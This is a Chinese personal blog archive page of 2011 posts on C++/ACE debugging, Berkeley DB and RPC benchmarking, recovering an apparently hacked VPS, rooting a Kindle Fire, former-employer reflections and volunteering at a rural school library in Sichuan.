博文

目前显示的是 2011的博文

指针强转的时候要小心啊!

今天我的程序遇到了一个BUG,很蹊跷。ACE有一个ACE_Service_Repository单件,相当于一个bean container那样的东西。我把一些object在启动的时候注册进去,然后在运行的时候根据名字查找。于是就解决了两个问题:以名称查找的方式进行依赖注入被查找的对象,可以单独编译在另一个so中,动态加载。但是我用的时候遇到了BUG,我的出问题的代码如下:ACE_Service_Type const *svcp = 0; if (-1 == ACE_Service_Repository::instance ()->find (ACE_TEXT ("MyDbEnv"), &svcp)) { thrownewstd::runtime_error("cannot find MyDbEnv Impl"); } MyDbEnv* env=(MyDbEnv*)svcp->type()->object(); env->openDatabase("…"); 运行的时候,vc告诉我,esp寄存器坏了。我纳闷了好一半天。向ACE_Service_Repository注册对象首先要用这个宏定义一个工厂方法,ACE_FACTORY_DEFINE (ACE_Local_Service, MyDbEnv) 其中ACE_FACTORY_DEFINE的定义如下:# define ACE_FACTORY_DEFINE(CLS,SERVICE_CLASS) \ voidACE_MAKE_SVC_CONFIG_GOBBLER_NAME(ACE_VERSIONED_NAMESPACE_NAME,SERVICE_CLASS)(void *p){ \ ACE_VERSIONED_NAMESPACE_NAME::ACE_Service_Object * _p = \ static_cast< ACE_VERSIONED_NAMESPACE_NAME::ACE_Service_Object *> (p); \ …

2011-12-27

今天把Berkeley DB加进去,加到昨天的测试代码中。然后把client改成多线程的,其实就是为了方便启动测试。首先,当服务器端是单线程的时候,一切都工作的很好,QPS也不低。然后,我把服务器改成多线程,共享一个db handle。然后立马就死锁了。速度非常快。嗯,用锁的时候必须把死锁检测打开。dbenv->set_lk_detect(DB_LOCK_DEFAULT);你猜怎么着?第一次测试,很OK,插入20万条数据(key是用java.util.Random.nextLong生的),花了23秒。第二次,卡死了。我以为又是死锁,但是用pstack打开一看,不是。好多线程在等锁,还有好多线程停留在pwrite状态下:#0 0x00000030d56c4aa8 in pwrite64 () from /lib64/libc.so.6
#1 0x00000000004b1852 in __os_io ()
#2 0x000000000057872c in __memp_pgwrite ()
#3 0x0000000000578974 in __memp_bhwrite ()
#4 0x00000000005772cc in __memp_alloc ()
#5 0x00000000004a15f7 in __memp_fget ()
#6 0x00000000004ef276 in __ham_get_cpage ()
#7 0x00000000004e7011 in __ham_lookup ()
#8 0x00000000004e7814 in __hamc_put ()
#9 0x000000000045ffe1 in __dbc_iput ()
#10 0x00000000004613e0 in __dbc_put ()
#11 0x000000000045ccbe in __db_put ()
#12 0x000000000046b112 in __db_put_pp ()
#13 0x0000000000445ba6 in Db::put(DbTxn*, Dbt*, Dbt*, unsigned int) ()
#14 0x00000000004426e0 in MyService::put(google::protobuf::RpcController*…

今天写代码写的比较爽

我之前怀疑ICE会不会因为太臃肿了,而导致RPC效率不高。于是从前天开始,就准备重新用google protocol buffers实现一套,比一比。今天下午快下班的时候,终于写完,并做了benchmark。结果与ICE差不多,没有明显差异,在单线程的客户端上依然是7000-8000的QPS。不过悲剧的是,服务器端有内存泄漏。哈哈…… 明天慢慢找吧。另外,之所以重写,是因为我想采用thread-per-connection的模型,本来是想提高CPU使用率,可是后来一想,其实。。。唉,难说。如果像现在这样,单个客户端很难把服务器的CPU吃满,那么这种模型也还好。但是如果慢慢的把更多的逻辑加进去,而客户端的请求量不均等的话,那么不是很好。再说吧。反正MySQL是这么做的,我仿它的。至于那些建议我用epoll的人,麻烦给我足够的理由,否则我没法接受,我觉得很可笑。今天一上班就在不停的写代码,感觉就跟刚进大观园的刘姥姥一样,头也不抬,仿佛要一口气吃掉一头牛。有时候我觉得最需要被做benchmark的不是我们的代码,而是我们自己。为啥呢? 因为,现在互联网公司的绝大多数项目,运行效率不是第一位的,开发效率才是第一位的。所以我们总是想做出更简单易用的框架。嗯…… 给人做benchmark ? 太难。明天把BDB加进去把存储部分写完,下班之前就可以测出上篇文章我想要的答案了。虽然,不是最终值,起码这是一个起点嘛。如果有精力,就在服务器端和客户端各加一个线程池,做connection pool。下班!

碎碎念,关于一个datastore

最近,想做一个data store,存储一些用户数据。我想越简单越好,不要搞什么分布式,尽力单机解决所有问题,然后找一个机器做replication。但是呢,这个机器所处位置很重要,很容易成为整个网站的瓶颈,所以我还是想尽可能的提高效率。我要一个什么东西呢? 简单点说,就是一个可持久化的、高效的KV存储。例如腾讯的CMEM服务,或者,mysqld+memcached。我只是举个例子,不一定非要走memcache的接口。每个item都有一个过期时间,超过那个时间之后,应当被删除,否则硬盘会炸掉的。据同事估计,数据量大概是1-2T左右。我觉得我通过压缩手段,能降低到100GB的规模。请求的频率呢,大概是每秒2-3万次读写,而且写入比例非常大,可能是读的2-3倍。我希望能尽可能的把QPS(query per second)做高一些,比如做到10W QPS。这个问题,如果想最简单的解决方式,那么可能是用一个mysql或者redis这样的数据库,然后尽力优化就行了。MySQL的qps能到多少呢?我之前测试,即便是最简单的update语句,也只有5000左右。client是单线程的。一个key-value的data store,QPS的瓶颈在哪?Btree/Hash本身?还是网络IO?为了测试一下RPC的性能,我昨天做了一个非常简单的测试,用ICE写一个特别简单的hello world,服务器端收到请求之后,不做任何处理,立马return 0。服务器端是C++的,客户端是JAVA的。你猜QPS多少?在我自己的笔记本上测试,只有3000。放在服务器上测试,2个intel E5620(4核),只有7-8千。为什么只有这么低呢?因为客户端是单线程的。第一个请求完了之后,才会发第二个请求。于是我在单机上开了20个进程一起跑,大约测试到8万左右的QPS。但是,这个数据我能满意吗?按我实际的运行环境,我这东西只对内网服务,我的client只有10个左右。所以,如果这些client本身不是多线程的,那么我的吞吐量可能无法达到3万。假设,服务器的内存已经非常大,cache命中率已经足够高,那么通过加CPU,能提高QPS吗?现在绝大多数高性能网络服务器都是单线程模型,所以我才有这个疑问。假如,用epoll做一个echo service,那么单机能跑到多少? Hash这样的结构,非常适合于并发读…

终于用图形界面连上外网的服务器了

我想用jconsole连接外网的服务器,可惜外网的服务器不仅不支持直接连接,而且我也没有这个服务器的root权限,它防火墙的规则很严格,我没可能开什么新端口也不能连接外面的其它机器。但是最终我还是搞定了。记录一下过程:这个服务器是Linux机器,但是只安装了必须的程序,不带有任何xorg的client和server程序。所有有两条路:A:在我本机运行一个X,然后让它来连接我。B:在它上面运行一个X,用vnc的方式连接。我选择了后者。首先,下载一个vnc server,我用的是 realvnc, http://www.realvnc.com/cgi-bin/download.cgi然后,光有vncserver还不够,还得有xauth这个程序,我是从rpm里面解出来的。然后把所有这些可执行文件,vncconfig vncpasswd vncserver vncviewer x0vncserver Xvnc,传到服务器上,自己的HOME目录下的bin文件夹(~/bin)中。检查一下PATH是否包含$HOME/bin,如果没有,加上。然后先运行一次vncserver,那么它就会生成~/.vnc这个目录。改一下xstartup这个文件。它默认会启动xterm和twm(这是一个窗口管理器)。xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
twm &可惜我的机器上没有xterm也没有twm,所以要注释掉,把我要执行的程序,如jconsole写进去。OK,这就解决了,虽然没有root权限,但是也想装个X并启动的问题。下一步就是打洞了。把这个机器的5901端口,通过神奇的隧道,转发到我本机上。打洞的方式,每个公司都不一样,此处略掉。

我的一个VPS貌似是被黑了

前一阵给一个朋友买了一个ubuntu的vps,做ssh proxy用。今天收到短信,说上不去了。然后吧,比较悲剧的是我发现我也连不上这个服务器了。然后只好从grub修改启动方式,进去改root密码。顺便吐槽下,ubuntu的reset root password的方式千变万化,不同的版本必须用不同的方式,你要是想像以前那样,直接加single进入单用户模式,sorry,bye-bye 。。。进去之后,发现/var/log是被清掉的。root的.ssh目录下的authorized_keys已经被改掉了。真是个悲剧吖。然后我赶紧把sshd的配置文件review了一遍,把基于密码的登录方式禁用掉,把root的远程登陆也禁用掉。把每个用户的密码挨个改一遍,但是……/etc/passwd下有很多用户的shell不是/sbin/nologin,而是/sbin/sh,比如games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh这些东西混杂其中使得我心惊胆颤,不知道这种账户到底能不能通过远程登录。最后,我觉得这件事情最可怕的在于,我不知道hacker到底改了什么。如果他偷偷替换了某个so,然后趁我最初登录服务器抓狂的时候,把我输入过的密码挨个记录下来并发送走……嗯,这还没完,总之只要这个so还在,他就能继续控制这台服务器(设想他改的是libc.so.x)。而Linux并没有Windows那样的sfc /scan的命令,所以,此时唯一正确的方式就是重装系统。是这样吗? 第一次被黑,求指点。p.s.我怀疑是因为我装了一个wordpress,但是从来没搭理它,也没用。但是wordpress的安全漏洞是层出不穷,如果再配合上Linux kernel的某个权限提升漏洞,就嗝屁了。附:我的防火墙设置# iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 c…

完美和新浪到底有多么不同?

今天听一些人讲了一些东西,收获很多。本来想写完美和我现在的公司有多不同,但是不敢,因为前几天我收到一封邮件,要求我别乱说话,并提醒我注意自己的人身安全,所以还是说sina吧。老黄举了一个例子,msn网站 作为微软release周期最短的一个产品,平均2-3个月release一次。并且最关键的是,它是一个产品,采用一个版本号,整体发布。而不是产品线。老黄说,这是在做软件,而不是做服务。对于互联网的网站,应该是在做服务。长久以来,我一直把完美和文思这样的公司统一归为软件企业。软件企业在做什么呢?我花2-3年的时间,做一个特别优秀的软件,然后卖出去。完了吗?没完。拿了钱就想跑?哪有那么容易。用户拿去用之后,不断会有新需求提上来,于是在产品卖出去之后,把绝大多数人慢慢砍掉去做新项目,然后留1-2个技术人员继续满足客户无休止的新需求、改BUG。今天我在想,我这种观点是错的。魔兽多久发布一次补丁? 3个月,还是半年?而国产网游呢,几乎一直是在靠不断的出资料片,出新的节日活动拉拢用户。你说中国人每年要过多少个节日啊!!!下周就是圣诞了,管你信不信耶稣,不做个圣诞节活动,你好意思吗?一定要做,而且不能跟去年一样! 策划每天都想发新版本,不是往外面的正式服发,就是往外面的测试服发。一周发3-4个版本是很正常的。所以,魔兽世界,和完美的游戏,绝对是两种产品。我在完美后来过的很苦逼,名为主程序,实际不过是个发版本的,管理svn分支、build、release。更惊讶的是,听老黄说,豆瓣是一个神奇的网站,持续集成做的特别好。发布一个新东西上线,从自动测试到部署完毕,也就4分钟的时间。我的第一个反应是,哇塞,完美你赶紧学学人家吧!我们可以少加多少班啊!可是后来一想,又不对。这事儿我都不用给panpan说,不等他开口,我自己就把我自己推倒了。因为问题不在这,游戏每次更新的时候,停机时间长不是因为程序造成的。这个核心在于:完美注重结果,你的ACU,你的月充值,所有的中高层都能看的见。这就是你的KPI,在它的强大压力下,中间的一切流程化的东西都被弱化以至于消失了。以至于很长很长的几年里,游戏做线上更新一直跟QA部门没有什么关系。你对你的结果负责就好了,你不求我帮你测,我干嘛帮你测?直到有一天,我们项目竖立了一个典型,怎么因为一个非常小的程序BUG,流失了很多很多用户,然后大幅度影响当季度的利润,…

数学对象是天然存在的还是被构造出来的?

数学对象是天然存在的还是被构造出来的?这个问题差不多是在问数学对象到底是不是一个客观实在。对于任何两点,我们能够画一条直线通过这两点。任何两点之间存在一条直线。这两句话在文字含义上略有区别,但不是我正在思考的。我想说的是另外一个新了解到的东西:我们在定义一个数学对象的时候是否用到了被包含对象所在的集合?举个例子:如果把“中国首富”,定义为中国最有钱的人。看上去似乎是没有问题的。但是如果你把集合A定义为所有不属于A的集合,那么就有问题了。(参见罗素悖论)于是有人提出:我们不能在定义一个数学对象的时候用到包含它的集合。数学对象是构造出来的,不是天然存在的。举个例子 :数学分析的一开始 ,有两个重要的概念,上界和上确界。上界就是说,一个数,比某个集合中的所有数都大(或等于),那么这个数就是这个集合的上界。上确界就是说,一个集合的所有上界中,最小的一个。比如,2是{x<0}的上界,3也是{x<0}的上界,但是它们都不是{x<0}的上确界,0才是。可是,数学分析课本才不是这么定义上确界的。课本是说,对于集合S,如果存在一个a,a是S的上界,并且对于任何小于a的数,总能在集合S中找到一个数大于a,那么a就是S的上确界。这个定义并未假设S的上界存在,也未假设S的上确界存在。事实上,这才是遇到习题中确界类问题的时候,一般的证明思路。这让我想起上个月去支教的时候,和志愿者们聊直言命题的存在性。因为,所有的S都是M,又因为,所有的M都是P,所以,有S是P。这个推论对吗?这个问题在于,全称直言命题是否具有存在性含义。全称直言命题是指“所有的S都是P”以及“没有S是P”这两类命题。特称命题是有存在性的。如果全称命题没有存在性含义,那么两个全称命题不能得到一个特称命题作为结论。这是经典逻辑和近代的直觉主义的一个重要争执。而前面的争论在于,我们在描述一些数学定理的时候,比如,S的上确界是S的上界中最小的一个,这种定义方式是否有问题?假如S的上界是空集呢?若你认为某些数学概念是天然存在的,最前面说的那种循环定义,其实也可被接受。比如中国首富。若什么都要被构造出来……我第一次认识到这个事情是在学习Coq的时候。发现,有些定理是在它的体系能证明不了的。

书超越其本身的意义?

今天是 @有时右逝 的新书发布会,http://event.weibo.com/291670 。原定于下午2点开始,在中关村图书大厦签售 。但是他前面是郑渊洁的签售。郑渊洁在2点14分的时候在sina上发了一条微博说:“我在北京中关村图书大厦《皮皮鲁送你100条命》读者见面会上签了五个小时,现场依然有很多读者。我承诺只要现场还有一位读者就不走。”于是@有时右逝 和他的读者们就只好默默的等着。当时队伍已经从5楼排到1楼,排在队首那位,是早上7点20就来了,可惜中关村图书大厦还没开门,就只好去买个煎饼吃完再回来。一直等到4点多,郑大师终于走了。然后@有时右逝 上来很愤怒的发了一通牢骚,为什么所有人都在跟他强调秩序要遵守秩序但是就没有人提醒一下郑渊洁按预定的时间安排来。呃,右右是个很粗俗的人,脾气急躁,发布会上说了些不合适话后来又后悔了,上微博道歉。“今天的事情,我冷静想了想,不怪任何人,只怪我自己不争气。如果我的地位够高,那么我的读者也能够像@郑渊洁 老师的读者一样得到应有的尊重,起码会有座位让大家等。我唯一能做的,就是下楼和我的读者一起站在寒风里苦逼。对不起,哥们们兄弟们,我没能耐,让大家吃苦了。今天我看到了@郑渊洁 老师的微薄,说是很多读者远道而来,所以他要负责尽职。我明白,因为我也有读者是坐着飞机从大连来得,也有坐火车从四川来的。所以我也打算全部签完之后再走。当然了,最终原因还是因为我人微言轻。最后的办法是我自己在走廊里给读者们签字,但是管理方又说这样很乱,会打扰里面的签售会,而且一再和我强调秩序。但是,如果按照秩序来,我的读者两个小时前就该进场休息了,而不会是一直在外面受冻。对不起,我没有为你们争夺到合理的权利,哪怕是椅子都没能加一把。抱歉了,很多人都要赶着回家,而且书店九点关门。很多远道而来的朋友,我们只能匆匆写下几个名字并不能一笔一笔多加几句祝福。我们在8点52分结束了所有人的签售,可想而知时间多么赶。而那些2点来到的读者,就这么等到了晚上9点。对不起,哥们姐们,我没能耐,没有帮你们夺回那两个小时。最后还是感谢那些在寒风之中坚挺了不知道多少个小时的兄弟姐妹们。谢谢你们的坚持,让我知道魔兽玩家是一家。这个世界理应如此残酷,而并非那些童话描写的温馨和公平。我发誓,我一定努力,我要让我的读者获得应该得到的尊重和待遇。我发誓。”事后,很多人去刷@郑渊洁 的微博请他…

感谢完美

算一下,从完美离职,差不多已经一年。很多事情放在当时看不清楚,而只有放在一个相对较远的时间点再去看,才能看的明白。我在完美,算是运气极好的那种人吧。当时面试的时候我并不知道我面的是哪个部门,进去之后才知道是数据安全部。刚开始有些诧异这个部门是做什么的,后来才发现,它有点类似于完美的研究院,各种基础性的研发,比如数据库、网络框架、OS定制化都是在这里做。但是它又和纯研究性质的研究院不同,它也做项目。而我所参与的,就是它的第一个游戏项目。回过头想,你说一个刚毕业不久的学生,最需要什么?户口?很高的起薪?这些完美都提供了,但是倘若被这些蒙蔽,那么就有些可惜了。刚进完美的时候,panpan给我们开了一个会,我至今记忆深刻。大意是说,这里只有一种职业,程序员。我们分初级程序员、中级程序员、高级程序员,而没有游戏程序员、3D程序员这样的title。所以你就想,如果你想做好一个程序员,该从哪些方面提升自己?我想,对于一个刚毕业的学生来说,最重要的就是,拼命写代码,安安稳稳的写3-5年代码,再去想什么HA啊、分布式啊这些事情。完美是一个非常重视研发,尤其是非常重视程序员的游戏公司,和其它互联网公司不同的是,他更像是一个传统的软件公司,制定开发计划,每天写工作报告,反复迭代。刚毕业的学生,写的代码都是惨不忍睹,管你清华的还是北邮的,都是如此。一个个的BUG被揪出来,慢慢的就会养成一些好习惯,比如减小临时变量的作用域,把函数不要写太长。这些,光看《Effectivce C++》这样的书是不行的。因为这些书不是系统的讲一个问题,而是一条一条的,想的什么就说什么,而且其中有些是过于偏激的。只有多实践,才能写出好的代码。在完美,工作强度是很大,但是相比于高三的学生来说,咱还是轻松很多吧?想超越普通人的成功,就得花出不一般的勤奋。如果我当时留在Sina,那么走的就完全是另外的一条路。熟悉更多的开源产品,比如MongoDB、Mysql Proxy,略读他们的代码,然后在拼装上做的更熟练,美其名曰:"架构师"。但是对技术产品的认识,始终是停留在一个比较浅的层面。假如,现在有一个新的开源产品出现,我该如何去了解它?我认为,分三步:What? 它是做什么的,适用于什么领域。拿Protocol Buffer来说,它就是一个序列化框架,凡是要把一个对象通过IO(文件、数据库、网络)…

KindleFire被我变砖了

记录下我今天做了什么。我想给Kindle编译一个自定义的内核。嗯,这件事情无论怎么想都是个高难度的事情。首先,安装vmware 8.0,然后在vmware里面装ubuntu 11.10 64 bits按照http://source.android.com/source/initializing.html 所写的构造编译环境。首先,安装32位jdk
http://download.oracle.com/otn-pub/java/jdk/6u29-b11/jdk-6u29-linux-i586.bin
root@ubuntu:~# mkdir /usr/java/
root@ubuntu:~# mv jdk1.6.0_29 /usr/java/
root@ubuntu:~# ln -s /usr/java/jdk1.6.0_29 /usr/java/default
root@ubuntu:~# export PATH=$PATH:/usr/java/default/bin
root@ubuntu:~# export JAVA_HOME=/usr/java/defaultFedora/Red Hat企业版下,全局的PATH变量依然是在/etc/profile下设置的。我不知道ubuntu是怎么回事,没看懂。反正/etc/profile和/etc/profile.d中都没有找到设置PATH的代码。然后安装必备的包:apt-get install git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev libc6-dev lib32ncurses5-dev ia32-libs x11proto-core-dev libx11-dev lib32readline-gplv2-dev lib32z-dev libgl1-mesa-dev g++-multilib mingw32 tofrodos python-markdown libxml2-utils有点搞笑,很多包的包名必须加上gplv2才行。至于吗?何苦呢。然后安装Android SDK和NDK。然后从这里下载Kindle Fire 6.2的更新包
https://s3.amazonaws.com/kindle-fire-updates/…

win7下给Kindle Fire安装Android SDK的USB驱动

这是拿root之前必须要做的事情。下载android SDK,http://dl.google.com/android/installer_r15-windows.exe 并安装。我就默认安装到C盘了。在SDK Manager里面下载需要包。首先,在Android 2.3.3(API 10)下面选上SDK Platform。然后,在Extras里面选上USB Driver。然后依次安装。.android\adb_usb.ini 加一行0x1949打开C:\Program Files (x86)\Android\android-sdk\extras\google\usb_driver\android_winusb.inf 在[Google.NTx86]和[Google.NTamd64]节的末尾都加上 ;Kindle Fire %SingleAdbInterface% = USB_Install, USB\VID_1949&PID_0006 %CompositeAdbInterface% = USB_Install, USB\VID_1949&PID_0006&MI_01控制面板里打开“设备管理器”,会发现kindle是个叹号。更新驱动,目录选择C:\Program Files (x86)\Android\android-sdk\extras\google\usb_driver到C:\Program Files (x86)\Android\android-sdk\platform-tools下执行 adb kill-server adb start-server adb devices执行完最后一条命令后,应该能看到输出这样的结果。List of devices attached
6708002600000001 device这就对了。同时,“设备管理器”里也没有叹号了。

2011-12-3

29号回京,30号休息一天,收拾东西,取kindle。然后从31号到现在,一直在给我的电脑重装系统,今天已经是第四天。重装系统的原因有这么几个:C盘满了,怎么清理都没用。然后因为用了2年了,反复的装软件、卸软件,很多软件在系统内留下了许多垃圾,越来越慢。然后是诺顿非要把我的Thunderbird的Inbox文件删除,不给我任何其它选项。隔几分钟弹一次,我实在是烦了。 我之前吃过一次这样的亏,我在跟人聊QQ,忙着打字,然后按了一下回车。但是当时机器卡了一下,在我按回车之前,诺顿跳出来了,问我是否要删除Inbox文件,我按了下回车,其实这个操作本来该发给QQ的,却发给了诺顿,然后我的邮件就统统被删除了,诺顿说因为文件太大,所以就没有备份。这次装系统,我把以前的D盘和C盘合在一起,装系统以及各种软件。然后把以前的E盘更名为D盘,装其它东西。区别是,C盘里的东西是重装的时候可以直接格掉的。这次我给C盘分了155GB,但愿它不要再爆仓。这次重装之前虽然用ghost做了备份,但是依然犯了一个很大的失误。我只对windows下的分区做了备份,因为我本来也就没有想调整Linux分区。但是我在用windows 7 自带的磁盘管理器在扩展分区上新建逻辑分区的时候,它错误的把这个分区上的所有Linux分区都给我删了。囧。我想通过工具把分区表找回来,但是那几个分区是先做LVM,把一个主分区、一个逻辑分区合成一个lvg之后再在这上面分的lv,然后newfs。所以我试了好几个软件,都没能找回来。估计它们不认识这么复杂的方式吧。于是我的Linux下的所有东西都丢了,无限怨恨。但是我对我调整后的备份方案非常满意。首先是本地的Ghost备份。用Ghost把所有windows分区备份到一个做了raid冗余的磁盘阵列上。我用的Ghost版本是Ghost 15,可以直接在windows下一边聊QQ一边做备份,也可以利用u盘启动然后在那下面做备份。Ghost 15非常优秀,它本身是基于win7做的,而且支持自定义恢复盘,把我需要的驱动都加进去。于是在它的恢复环境中支持网络访问NAS甚至是网盘上的数据。它的备份速度非常快,我备份了200G左右的数据也就花了1个多小时。而且它默认采用的是全量+增量的备份模式,我昨天做完一次全量之后再做增量,只花了3分钟。支持加密,支持压缩。所以比直接 复制/粘贴的方式备份好多…

kindle fire第二日:root、输入法、VPN等等

我知道拿root权限之后会有很多问题,比如amazon video看不了了,但是没有输入法是很痛苦的事情,所以就还是拿了root。拿root的过程比较简单,这里有图文并茂的教程 http://rootkindlefire.com/kindle-fire-root/how-to-root-kindle-fire/ 按着一步步做。作者提供了一个mini版的android SDK,把最必须的几个文件包起来,然后做成一个bat。装输入法的过程比较繁琐,大致步骤如下:首先,用Kindle Fire的浏览器打开http://shouji.sogou.com/download1.php 下载AndroidPad版的sogou输入法,并安装。然后,会发现用不了。因为有个系统设置不对,需要把/data/data/com.android.providers.settings/databases/settings.db里面secure表的enabled_input_methods的值后面追加上“:com.sohu.inputmethod.sogoupad/.SogouIME”(无引号)。安装的时候可能因为缺权限,所以安装程序没能把这个加上,非要用root账户手动改。具体步骤在这里http://forum.xda-developers.com/showthread.php?t=1351914先把Kindle Fire和电脑用USB线连接起来,这时候电脑上会多出来一个盘。在Kindle上选Disconnect。电脑上那个盘消失了。在电脑上找到拿root时下载的那个文件夹,运行 adb shell,把文件copy出来然后重新点一下kindle fire的屏幕,点上面的通知区域,然后让它重新以usb的方式连接到电脑上。于是电脑上会多出来一个盘。在电脑上用Sqlite编辑器,比如Navicat Premium,打开多出来的这个盘的Download目录下settings.db文件。找到secure表。这个表一共就2列,key/value的形式。找到key=enabled_input_methods的那一行,它现在的值应该是com.android.inputmethod.latin/.LatinIME。在后面追加上“:com.sohu.inputmethod.sogoupad/.SogouIME”(…

Kindle Fire初体验

前几天托Rutte从美国给我带回来两个Kindle Fire,但是我当时不在北京,于是就托zzyong代我保管,昨天去找他拿回来。自己留了一个,另一个转手以原价卖给以前的同事了。拿到Kindle Fire之后,发现屏幕是镜面反光的那种,真的可以当镜子用啊。不喜欢!开机。关联amazon账号,然后四处逛逛,然后就不知道干嘛了。微博上有人说Kindle Fire配盛大的云中书城不错。我试了一下,果真如此。直接打开http://www.yuncheng.com/ 然后安装标准的Android客户端就行了,在Kindle Fire上跑的挺好。Kindle上的内容虽丰富,但主要都是英文的。而盛大帮他填补了这个空白。然后我就想要不要装一些其它的软件,比如QQ、微信、输入法什么的。结果很悲剧。装了Sogou输入法,但是不能用,据说必须得先拿root然后改一些文件。然后装了微信,才发现原来这个机器没有mic,于是虽然能用,但是很残废。然后装了Talking Tom,根本就不让我玩,理由是我没有mic。Google地图想了想,没装,反正没GPS。QQ装了,但是因为没有中文输入法,所以搁那没啥用。装了一个KeePass,但是我不知道在输密码的地方如何粘贴,所以也相当于残废。然后装了一个TTPod,听歌的,还不错。Google的Android Market也装了,它让我关联账号,但是又没法关联(可能是因为缺少某些Google服务),于是也废了,没法用。于是我就回过头想,这东西到底是干嘛的。Kindle Fire的主要功能很明确:看新闻报纸和杂志、看书、看视频、听音乐、编辑文档、上网。从这些角度来说,mic啊、GPS啊、camera啊确实没用。只是Music和Video的功能在中国就比较残废了,谁非要去amazon上买啊?装一个第三方的App下盗版不就好了吗?满天都是。嗯,现在最要命的就是输入法的问题,但是我又不想拿root。肿么办?

我为什么要来乡镇中学做短期志愿者?

最近我在网上发了一些关于我所在的学校的照片,因为这个学校看上去并不是很贫困,于是很多人就质疑我的动机。那么我需要解释一下,首先,我想展示出来的肯定是它美的一面,我是来做义工的,不是来揭露社会丑恶的。我从来不打苦情牌,我不喜欢被怜悯,也拒绝怜悯别人。
其次,我必须考虑我自己的环境适应能力。如果你把我扔到西藏去,可能我刚下飞机就高原反应卧床不起了。如果你把我扔到希望小学去,可能我只能拍拍照片,因为小学生我真的没法教。我想把更多的外界信息带给他们,但因为交流障碍很大,所以能做的就很少。
最后,因为我刚刚创业失败,换工作,中间想休息一下。它虽不是根本动机,却是导火索。
下面贴两段我出发前写的文字,一段是我写给“立人”的“求职信”,写我为什么要来申请做短期志愿者:此行出于以下几个目的:想有一个短期旅行,在山野之间看会儿书。我会带一本米兰昆德拉的小说,或是再加上一本刘瑜的《送你一颗子弹》。希望能与有思想的知识分子进行交流。 得知立人是因为立人大学,很羡慕那样的学术讨论方式。了解乡村学校现在的教育现状。因为我在北京也一直在参与捐书助学网等公益组织的活动,我很想知道我们这样的行为的意义在哪?所帮助的对象现状如何?他们最需要什么?如何将捐书的工作做的更好?尝试做一名老师。 我想知道现在的孩子们是怎样看待这个世界的?我是否能教他们一些逻辑常识(三段论、数理逻辑等)?*我并不试图去当地改变什么。因为我能停留的时间很短,我觉得所能做的最大的事情就是相互了解。与其它志愿者谈思想谈价值,了解孩子们的想法以及让他们更了解我们、了解外边的世界。然后是一段比较长的,关于“知行合一”:
长久以来我一直有一个疑问:如果我寻找的只是知识本身,那么等我到30岁的时候,拿着存款去一个生活成本较低的地方盖两间瓦房,然后拿剩下的存款购买粮食和书籍,利用简单的理财方式对抗通胀,那么从现在数,几年以后,我就可以过上伊甸园里那样的生活。不是吗? “读万卷书,行万里路?”以前我很反对这句话,因为我可以举出一个我很敬仰的人,Kant,做例子,来证明即使始终固守在自己出生的那个小村落,也能成为一个伟大的人。而今天我突然理解了这句话,就像“饭后百步走”并不是真的要数100步一样,行万里路,也并不是真的要绕着地球走半圈。什么是行走? 设定一个目标,然后发动身上的肌肉,靠近它。行走即实践,将自己的想法付诸行为,这是每个读书人必须做…

立人第四分馆概况

下面介绍下我所在的这个学校的概况。(以个人的角度,我不属于立人专职义工,和这个公益组织不存在从属关系)我现在在“立人乡村图书馆”的第四分馆,位于四川省巴中市巴州区茶坝镇的茶坝中学校内。茶坝中学一共有3个教学楼,既有初中也有高中,学生总计大约2000-2500人,以高中为主,大部分住校。去年参加高考的学生大约350-400人,有57人上了本科线,本科上线率大约10%-15%左右。(北京的中学,本科上线率一般是90%上下,恰好与这里相反)大部分学生都住校。每天课程安排是:早上8点15分到9点是早自习时间。一般来说不上课,但是有些老师也会把昨天没上完的课拿到此时讲,就像某些学生把昨天晚上没写完的作业拿到第二天早上写。9点整开始是第一节课,45分钟一节,早上一共4节,到12点50分结束,午饭。课间15分钟休息。
下午从2点半开始,到5点50分。
晚上如果是初一的,就是3节晚自习,到9点10分结束,其他的是4节,到10点多结束。学生每周六休息。周五晚上不用上晚自习,住校的学生可选择这个时间回家。这个图书馆位于教学区的中心位置,就在初中部的教学楼的一楼。共有两间教室。一个是藏书室,有书架若干,和一个阅读桌,一个借书桌。另一个是阅览室,有10几张桌子和投影仪、白色幕布,最多可容纳80个学生。此图书馆除本校师生外,目前有5个立人的专职义工,2个过来打酱油的(我是其中一个)。图书馆的主要工作:借书还书。 这个主要由学生来管理。接受募捐,新书上架。 这个过程很繁琐。由立人团队的专职志愿者来做。给学生上阅读课。 目前主要是初一和高二的学生。课程的内容可能是每节课推荐一本书,或者是一系列的课程讲一个主题,比如《社会学》。给老师代课。 有时候老师会故意腾出一些课来给我们带,比如语文、数学、英语,凡是我们能胜任的,老师都很乐意。电影放映。有时候可能是占用上课的时间放电影,因为老师想让学生集体看一些比较有教育意义的影片,比如今天一个班看的是《放牛班的春天》。另外就是中午,我来之后提议的,利用午饭后的时间放一些BBC、Discovery科普短片。还有就是每周五晚上,放一些比较娱乐的片子,给留校没有回家的同学们看。下面首先讲借书。借书需要办借书证,只有押金,没有年费。学生来帮忙登记借阅情况,所以每天只在固定的时间开放借还。最近在尝试一个新的模式,就是由专职义工选好一些书,放进一个书箱内,送到某些班级去…

关于乡村图书馆的一些想法

去大学宿舍看一看,学生的书柜上,除了课本,还会放些什么?我在想一个问题,现在国家的义务教育已经做的很好,学生不是缺钱买课本(因为是免费的),而是他们生活在一片沙漠里,除了课本之外没有别的知识来源。像我现在呆的茶坝镇,没有什么书店,就算会有,估计也是以卖教辅为主。像“光合作用”那样的书店,在北京、厦门都开不下去,更何况是二三线城市,以及更偏远的县城。如果我们给学生捐书,需要提供哪方面的书?现在这个图书馆里的书有两个问题:书的内容不适合中学生阅读。捐书者都是成人,所以很容易按照自己的喜好来捐书。但是毕竟知识层次不一样,让中学生阅读《读库》、商务印书馆汉译名著这样的书压确实很困难。所以大片大片的书压在那里,没有人借阅。而适合学生看的书又太少。比如学生喜欢看故事情节比较强的小说,例如金庸的,但是很少有人会捐金庸的小说过来。过于偏人文,并且与教学脱节严重。 